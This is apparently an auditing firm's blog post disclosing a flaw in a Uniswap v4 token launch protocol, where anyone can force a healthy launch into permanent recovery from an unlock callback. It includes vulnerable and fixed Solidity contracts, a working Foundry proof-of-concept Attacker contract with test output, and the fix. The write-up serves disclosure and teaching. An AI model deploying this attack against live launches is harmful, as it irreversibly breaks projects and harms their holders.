Anyone could force a healthy Uniswap v4 token launch into permanent recovery from an unlock callback. See the attack, a working PoC, and the fix.

This is the fourth blog in our series Quill Findings, where we share interesting vulnerabilities our auditors found.
Today's finding comes from a token launch protocol built on Uniswap v4 (@Uniswap). Tokens start on a bonding curve and later migrate into a Uniswap v4 pool. If that migration genuinely can't go through, the launch drops into a RECOVERY state, which is terminal, there's no way back out. We found a way for anyone to push a perfectly healthy launch into that state, for free.
When a migration looks stuck, anyone can call enterRecovery(). To decide whether migration is actually broken, the curve just tries it and treats any revert as proof of failure.
1// BondingCurve.sol
2function enterRecovery() external {
3 try migrationModule.migrate() {
4 // migration worked, nothing to recover from
5 } catch {
6 // any revert at all -> declare migration dead
7 state = State.RECOVERY;
8 }
9}
10The catch block doesn't look at why the call reverted. That's the gap.
The migration module refuses to run while Uniswap's PoolManager is unlocked. On its own, this guard is correct, migrating mid-unlock would be unsafe.
1// V4MigrationModule.sol
2bytes32 constant IS_UNLOCKED_SLOT =
3 0xc090fc4683624cfc3884e9d8de5eca132f2d0ec062aff75d43c0465d5ceeab23;
4
5function migrate() external view {
6 // reads the PoolManager's lock flag through its public exttload()
7 if (poolManager.exttload(IS_UNLOCKED_SLOT) != 0) revert PoolManagerUnlocked();
8 // ... real migration work ...
9}
10The catch is that anyone can put the PoolManager into that unlocked state. In v4-core, unlock(bytes) is external and permissionless. It unlocks the manager, hands control back to the caller through unlockCallback, and only checks at the very end that all token balances settled to zero.
1// Uniswap v4-core, PoolManager.sol
2function unlock(bytes calldata data) external returns (bytes memory result) {
3 Lock.unlock();
4 result = IUnlockCallback(msg.sender).unlockCallback(data);
5 if (NonzeroDeltaCount.read() != 0) CurrencyNotSettled.selector.revertWith();
6 Lock.lock();
7}
8If the attacker settles nothing inside unlockCallback, NonzeroDeltaCount stays at zero, so the outer unlock() finishes cleanly. No tokens, no special access needed.
From inside their own callback, the PoolManager is unlocked, so the attacker just calls enterRecovery().
1function unlockCallback(bytes calldata) external returns (bytes memory) {
2 // PoolManager is unlocked right now, so migrate() will revert
3 curve.enterRecovery(); // migrate() reverts with PoolManagerUnlocked()
4 return ""; // settle nothing, outer unlock() still succeeds
5}
6migrate() reverts with PoolManagerUnlocked(), the catch block treats it as a real failure, and a healthy launch is moved to terminal RECOVERY.
The root cause isn't the PoolManager rejecting migration while unlocked, that behaviour is correct. It's that enterRecovery() lets an attacker trigger that revert on purpose and then counts it as a genuine failure.
This runs against the real Uniswap v4 PoolManager, so the unlock behaviour is exactly the production one.
src/Recovery.sol holds the launch contracts, the vulnerable BondingCurve plus V4MigrationModule, and their fixed versions:
1// SPDX-License-Identifier: MIT
2pragma solidity 0.8.26;
3
4import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
5
6/// @notice Minimal reproduction of the migration module. Not the audited
7/// source. It refuses to migrate while Uniswap's PoolManager is unlocked.
8contract V4MigrationModule {
9 IPoolManager public immutable poolManager;
10
11 // Same slot as Lock.IS_UNLOCKED_SLOT in v4-core.
12 bytes32 constant IS_UNLOCKED_SLOT =
13 0xc090fc4683624cfc3884e9d8de5eca132f2d0ec062aff75d43c0465d5ceeab23;
14
15 error PoolManagerUnlocked();
16
17 constructor(IPoolManager _pm) {
18 poolManager = _pm;
19 }
20
21 function _isUnlocked() internal view returns (bool) {
22 return poolManager.exttload(IS_UNLOCKED_SLOT) != 0;
23 }
24
25 /// @notice Correct in isolation: migration must not run mid-unlock.
26 function migrate() external view {
27 if (_isUnlocked()) revert PoolManagerUnlocked();
28 // ... real migration work would go here ...
29 }
30}
31
32/// @notice Minimal reproduction of the bonding curve's recovery path.
33contract BondingCurve {
34 enum State { ACTIVE, RECOVERY }
35
36 State public state;
37 V4MigrationModule public immutable migrationModule;
38
39 constructor(V4MigrationModule _m) {
40 migrationModule = _m;
41 }
42
43 /// @notice Vulnerable: treats ANY revert from migrate() as a real failure.
44 function enterRecovery() external {
45 try migrationModule.migrate() {
46 // migration worked, nothing to recover from
47 } catch {
48 state = State.RECOVERY;
49 }
50 }
51}
52
53/// @notice Fixed bonding curve: checks migration is actually attemptable first.
54contract BondingCurveFixed {
55 enum State { ACTIVE, RECOVERY }
56
57 State public state;
58 V4MigrationModuleFixed public immutable migrationModule;
59
60 constructor(V4MigrationModuleFixed _m) {
61 migrationModule = _m;
62 }
63
64 function enterRecovery() external {
65 require(migrationModule.isMigratable(), "migration not attemptable");
66 try migrationModule.migrate() {
67 } catch {
68 state = State.RECOVERY;
69 }
70 }
71}
72
73/// @notice Fixed module: exposes a view reporting whether migration can run.
74contract V4MigrationModuleFixed {
75 IPoolManager public immutable poolManager;
76
77 bytes32 constant IS_UNLOCKED_SLOT =
78 0xc090fc4683624cfc3884e9d8de5eca132f2d0ec062aff75d43c0465d5ceeab23;
79
80 error PoolManagerUnlocked();
81
82 constructor(IPoolManager _pm) {
83 poolManager = _pm;
84 }
85
86 function isMigratable() public view returns (bool) {
87 return poolManager.exttload(IS_UNLOCKED_SLOT) == 0;
88 }
89
90 function migrate() external view {
91 if (!isMigratable()) revert PoolManagerUnlocked();
92 }
93}
94test/ForcedRecovery.t.sol:
1// SPDX-License-Identifier: MIT
2pragma solidity 0.8.26;
3
4import {Test, console2} from "forge-std/Test.sol";
5import {PoolManager} from "v4-core/src/PoolManager.sol";
6import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
7import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
8import {
9 BondingCurve, BondingCurveFixed,
10 V4MigrationModule, V4MigrationModuleFixed
11} from "../src/Recovery.sol";
12
13/// @notice The attacker's unlockCallback calls enterRecovery() while the
14/// PoolManager is unlocked, then settles nothing so unlock() still succeeds.
15contract Attacker is IUnlockCallback {
16 PoolManager pm;
17 address curve;
18
19 constructor(PoolManager _pm, address _curve) {
20 pm = _pm;
21 curve = _curve;
22 }
23
24 function attack() external {
25 pm.unlock("");
26 }
27
28 function unlockCallback(bytes calldata) external returns (bytes memory) {
29 // PoolManager is unlocked right now, so migrate() will revert.
30 (bool ok,) = curve.call(abi.encodeWithSignature("enterRecovery()"));
31 ok; // call itself succeeds, the inner revert is swallowed by try/catch
32 return ""; // settle nothing -> NonzeroDeltaCount stays 0 -> unlock() ok
33 }
34}
35
36contract ForcedRecoveryTest is Test {
37 PoolManager pm;
38
39 function setUp() public {
40 pm = new PoolManager(address(this));
41 }
42
43 function test_AttackerForcesHealthyLaunchIntoRecovery() public {
44 V4MigrationModule module = new V4MigrationModule(IPoolManager(address(pm)));
45 BondingCurve curve = new BondingCurve(module);
46
47 // migration is perfectly healthy: with the manager locked, it does not revert
48 module.migrate();
49 console2.log("migration healthy while locked : true");
50 assertEq(uint256(curve.state()), uint256(BondingCurve.State.ACTIVE));
51
52 // attacker unlocks the manager and calls enterRecovery() from the callback
53 Attacker attacker = new Attacker(pm, address(curve));
54 attacker.attack();
55
56 console2.log("state after attack (0=ACTIVE,1=RECOVERY):", uint256(curve.state()));
57 assertEq(uint256(curve.state()), uint256(BondingCurve.State.RECOVERY), "launch forced into RECOVERY");
58 }
59
60 function test_FixedCurveResistsTheAttack() public {
61 V4MigrationModuleFixed module = new V4MigrationModuleFixed(IPoolManager(address(pm)));
62 BondingCurveFixed curve = new BondingCurveFixed(module);
63
64 Attacker attacker = new Attacker(pm, address(curve));
65
66 // same attack as before: unlock, then call enterRecovery() from the callback
67 attacker.attack();
68
69 // the isMigratable() guard rejects the call, so state never flips
70 console2.log("state after attack (0=ACTIVE,1=RECOVERY):", uint256(curve.state()));
71 assertEq(uint256(curve.state()), uint256(BondingCurveFixed.State.ACTIVE), "launch stays ACTIVE");
72 }
73}
74Run it:
1forge test --match-contract ForcedRecoveryTest -vv
2Output:
1Ran 2 tests for test/ForcedRecovery.t.sol:ForcedRecoveryTest
2[PASS] test_AttackerForcesHealthyLaunchIntoRecovery() (gas: 551888)
3Logs:
4 migration healthy while locked : true
5 state after attack (0=ACTIVE,1=RECOVERY): 1
6
7[PASS] test_FixedCurveResistsTheAttack() (gas: 512694)
8Logs:
9 state after attack (0=ACTIVE,1=RECOVERY): 0
10
11Suite result: ok. 2 passed; 0 failed; 0 skipped
12The first test shows migration is healthy while the manager is locked, then the attacker unlocks the manager, calls enterRecovery() from the callback, and the state flips to RECOVERY (1). The second test runs the same attack on the fixed curve and the state stays ACTIVE (0).
Before trying the migration, check whether it can actually run right now. If it can't, stop instead of entering recovery. This check lives in the protocol's own migration module, nothing changes on Uniswap's side.
1// V4MigrationModule.sol
2function isMigratable() public view returns (bool) {
3 // same lock flag migrate() already checks
4 return poolManager.exttload(IS_UNLOCKED_SLOT) == 0;
5}
6
7// BondingCurve.sol
8function enterRecovery() external {
9 // stop early if migration can't run right now
10 require(migrationModule.isMigratable(), "migration not attemptable");
11
12 try migrationModule.migrate() {
13 // migration worked, nothing to recover from
14 } catch {
15 // only reached when migration really fails
16 state = State.RECOVERY;
17 }
18}
19isMigratable() reads the same lock flag migrate() already checks, so the attacker's call now stops at the first line, and recovery only happens when migration fails under normal conditions.
Ignoring only the PoolManagerUnlocked() error would also work today, but any similar "temporarily unavailable" error added to the migration path later would reopen the same hole. Checking up front avoids that.
When a failure leads to a permanent, irreversible state change, the contract shouldn't just ask whether something failed, it should ask why. Here, a single revert anyone could trigger was enough to permanently kill a healthy launch.
Contents

From day-zero risk mapping to exchange-ready audits, QuillAudits helps projects grow with confidence. Smart contracts, dApps, infrastructure, compliance: secured end to end.